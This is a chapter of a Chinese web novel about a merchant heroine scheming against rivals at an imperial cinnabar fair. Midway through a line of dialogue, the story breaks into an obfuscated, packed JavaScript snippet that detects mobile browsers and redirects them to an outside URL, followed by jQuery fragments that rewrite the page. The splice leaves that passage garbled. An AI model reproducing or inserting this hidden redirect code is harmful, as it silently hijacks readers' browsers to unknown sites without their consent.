丹砂会在大虞的皇家园林,沁园举行。
园内奇花异草遍布,四季常春,百花齐放,鼻息间满是浓郁的花香直入肺腑,带着几分令人微醺的颓靡。
一只修长的手无声抬起,托住飘落的晚樱。
小羊蹄样的绯红花瓣轻轻挨着掌心,边缘微卷,乖巧可爱。
姬野清侧手,花瓣轻缓地落到地上,混在层层叠叠的红艳落花中,再也分不出彼此。
今日她外穿立涌提花袖缘玉白短袍,堪堪及至小腿肚,放量却极大,行走时如流云翻涌。
内里若隐若现地透出那套轻便的玄黑戎装。
她脚蹬一双质地坚硬的皂色军靴,靴筒上交叉着的系带扎成规整的蝴蝶结,懂行的看了便知,这花哨的洋玩意值不少钱。
头发简单地用蓝豆纹绸带在发尾处扎起,一只蓝白相间的蝴蝶伏在发尾,翩翩欲飞。
“马上就开会了,你倒是好兴致。”
九方嘉狐像一只轻巧的狐狸,冷不丁从繁茂的蔷薇花丛中踱步而出。
“殿下说笑了,有殿下在,小民自然有空闲情逸致。”姬野清言笑晏晏,意有所指。
九方嘉狐丝毫不在意话中的敲打意味,他什么身份?九方雪的爱子!
姬野清不过是个被商人收养的平民,还是个女人。
不对她的试探暴起大怒都算他脾气好。
他爱做什么做什么!
哪怕突然背刺姬野清也是应该的,他只是不想这么做罢了。
九方嘉狐嗤之以鼻。
眼前的女人应该对他感恩戴德才是,要不是他对她产生了兴趣,如此肆意妄为,早被他治罪了。
他冷哼一声,神色矜傲,权当是对草民的大度施舍。
姬野清向前几步,掐下一朵开得正盛的蔷薇,放在掌中把玩。
“殿下,你瞧,这丛蔷薇竟是鹅黄色的,好生稀奇。”
九方嘉狐原本心里正百转千回,见她一副毫无觉察,只顾赏花的模样,气得七窍生烟。
这女人难道不知道,她能好端端站在这里,全仰仗他的恩典?
他那张精致的小脸腾地升起两团粉云,声音因气恼而略显尖利:“这可是沁园!没见识的草民,父皇最爱在此小憩,怎可能让那乡野村花进来,平白污了眼睛。”
“别说黄蔷薇,这里连黑蔷薇,蓝蔷薇都有,仅此一处。”
“小民见识短浅,丹砂会后……还请殿下带小民开开眼界。”
姬野清顺势抬手,动作轻柔而自然地将那朵黄蔷薇簪入九方嘉狐的发髻中。
“此花与殿下今日的衣裳很是相衬。”
今日,九方嘉狐的打扮收敛了不少。
一袭嫩黄的无袖烫金袄子,胸口的方补上绣着一副丝绒鸳鸯戏水,三对石榴花子母扣缀在白色领口前,看着还算正常。
下身仍然是他最喜欢的奇装异服,既有苗疆百鸟衣般绚丽繁杂的刺绣,又像撕裂的间色裙,但是布条长短不一,又有些像侧着穿的凤尾裙。
随着他的动作,两条修长的玉腿隐隐绰绰,欲说还休。
他蹬着一双鞋跟足足有半尺高的荔枝皮尖头细高跟,后跟像匕首一样直直刺在地上,每走一步都会发出悦耳的哒哒声。
九方嘉狐毫无难色地驾驭这双鞋,看着如履平地不说,靠着这双鞋,他才勉强能与姬野清平视。
一般来说,女人都喜欢高大的男性,这九方嘉狐的个子急需揠苗助长啊,姬野清心道。
南边传来一阵嘈杂的脚步声和交谈声,姬野清收回思绪。
“时间不早了,小民先行告退,丹砂会上再见殿下。”
姬野清微微福身,不等他回应,便转身朝南边的牡丹水榭走去。
“真是失礼!”九方嘉狐猛地跺脚,高跟在地上磕出清脆的响声,嘴里不依不饶地埋怨着,“没教养的草民,孤儿作风。”
突然想起自己的母亲早逝,这孤儿作风似乎一并把自己骂进去了,他才悻悻收势。
姬野清假装听不见身后的嗔怒。
她在小皇子面前拿乔,也是为了试探自己在他心里的地位。
这次激将应该有些许成效,若能借此增加入宫的机会,那她的复仇计划便成功了一半。
眼下,最重要的仍是那场开在牡丹水榭处的盛会。
各地商户均在此云集,可不是什么阿猫阿狗都能收到请帖,想在皇室面前博个面熟的人多如牛毛。
最大的威胁仍然是巴郡的余家。
余晖,余溘。
姬野清轻轻摩挲着指腹残留的花粉。
你们的命,我收下了。
拂去掩映的垂丝海棠,牡丹水榭的全貌展露无遗。
这是一座邻水而建的大型半开放式水榭,比起观花的亭台楼阁,更像一座开阔的道场。
水榭四周以朱漆巨柱支撑,四面通风,卷帘随风半遮半掩,正中印着巨大无比的双鱼戏珠图。
姬野清步入场中,已经有不少商户在左右两侧的长椅上坐下,她算来得晚的。
她一眼看见分家的二余偷偷摸摸地交头接耳。
这二獠如今的样子滑稽至极,身上还缠着绷带,说是身残志坚不为过。
余灰那张飞扬跋扈的脸因伤痛而显得扭曲,正压低声音对余溘交代着什么,而余溘周身透着阴冷气息,枯瘦的手从紫红色团花锦长衫的大袖里滑出。
姬野清目光流转,落在他们身旁唯一的空位上,那是属于她的位置,姬野清施施然坐下。
看到姬野清的那一瞬,余灰的眼角抽搐了一下,眼中翻涌着浓烈的嫌恶与忌惮,余溘勉强抬手,虚虚地打了个招呼。
姬野清若无其事地回了一礼。
此时,商户已经纷纷就绪,座无虚席,压低声音交谈着。
九方嘉狐在侍从的拥簇中,高傲地仰首,他背着手,略过众人敬畏的目光,径直走向水榭高台上那把紫杉木嵌玉宝座,甫一坐定,便翘起二郎腿。
那朵被姬野清随手簪上的黄蔷薇在他发间摇曳生姿,待得好好的。
姬野清愣了愣,她还以为九方嘉狐会丢掉这朵花。
九方嘉狐环视四周,目光在姬野清身上短暂地停留了一瞬,随即收回。
他清了清嗓子,威严的声音传遍了整座水榭:“诸位远道而来,皆为此次丹砂会,既然人已就位,便不耽误时辰,开场吧。”
一时间,水榭内人声鼎沸。
商户们忙不迭地准备展示自家宝贝。
“吵什么吵!”九方嘉狐猛地一拍扶手。
“速速把丹砂呈上来,本殿下可没耐心陪你们在这儿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17169069|196804||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
耗着……”
他恼怒的声音带着不容置疑的乖张,后半句压低了声音。
商户大都听说过这位小皇子的威名,噤若寒蝉,悻悻掀起存放着丹砂样品的宝盒。
一时间,水榭内红光璀璨,叫人眼花缭乱。
九方嘉狐朝杏林努了努嘴,后者朝帘后招了招手。
宫中的医和医缓鱼贯而出,分为两列,缓缓从台上步下,检查两侧长桌上的丹砂品质。
“古朴粗犷,半透紫金,矿闪如繁星,不错不错……”
“此物尚可,正红火焰,温润宜人,可记下。”
“等等——此物!”
一位医和失声大叫,她面前放着余溘的丹砂样品。
余灰悄悄勾起嘴角,多次萃取后的紫金砂,已然转变成品质直逼天然原矿的晶体砂,艳压群芳不为过。
那位医和喃喃自语,喜上眉梢:“暗紫通透,软红细腻……火彩耀目!这可真是不得了。”
“那是自然……”余溘自信地颔首,声音沙哑。
“我余家乃巴郡第一商,怎敢拿滥竽充数的货污殿下的眼。”
余灰附和道:“连我的紫金砂都甘拜下风呢。”
“惠之,你别堵着路,还有好几位等着呢……”
另一位医和凑近她,眼神瞟到那丹砂时,恍惚了一瞬,就地和惠之咬耳朵:“这丹砂算是本场品质最高的了吧。”
她们的迟滞引起了一点小混乱,医官们忍不住纷纷围拢过去,啧啧称奇。
九方嘉狐看在眼里,挑了恰当的时机发作:“那边吵吵嚷嚷地做什么呢?连检验都做不好?”
众人皆是身体一颤,作鸟兽散。
惠之颤巍巍地向前躬身:“殿下恕罪,这余家的丹砂世间罕见,臣等一时看走神。”
“哦?那这世间罕见的极品丹砂,本殿下可得好好瞧瞧——”
九方嘉狐拖长了尾音,话尾的小勾子叫人心里痒痒。
“杏林,呈上来。”
九方嘉狐在台上不耐烦地招手。
侍女得令,将那宝盒递上宝座前的桌案上。
余灰心里一突,一丝违和感叫他忍不住朝姬野清那边看去。
姬野清面色如常,她今日穿得素雅,挑不出什么错处。
难道是自己多心了?
余灰下意识按住自己的胸脯,心脏砰砰直跳。
九方嘉狐拿起一旁的白瓷杯,里面是叫这丹砂显性的特制药水,无色无味。
他忍不住朝姬野清那斜睨一眼,这女人还真是行事大胆,不怕栽在他手里吗?
不过他还真打算继续帮她演下去。
“啊,水翻了。”
他语调平平,带着一丝恶作剧得逞的快意。
那药水沾上丹砂后,犹如硫酸溅上皮肉,立刻褪去华美的外壳,留下内里灰白的核心。
一股刺鼻的焦味弥漫开来。
全场死寂。
他勃然大怒,一把扫下宝盒,盒中丹砂散落在众人面前。
叫人忍不住倒吸气。
“好大的胆子,拿这种腌臜假货来愚弄本殿下……!”
九方嘉狐腾地站起,发间的黄蔷薇随之颤动。
他眯起美目,杀气毕露。
“来人,将余溘拿下。”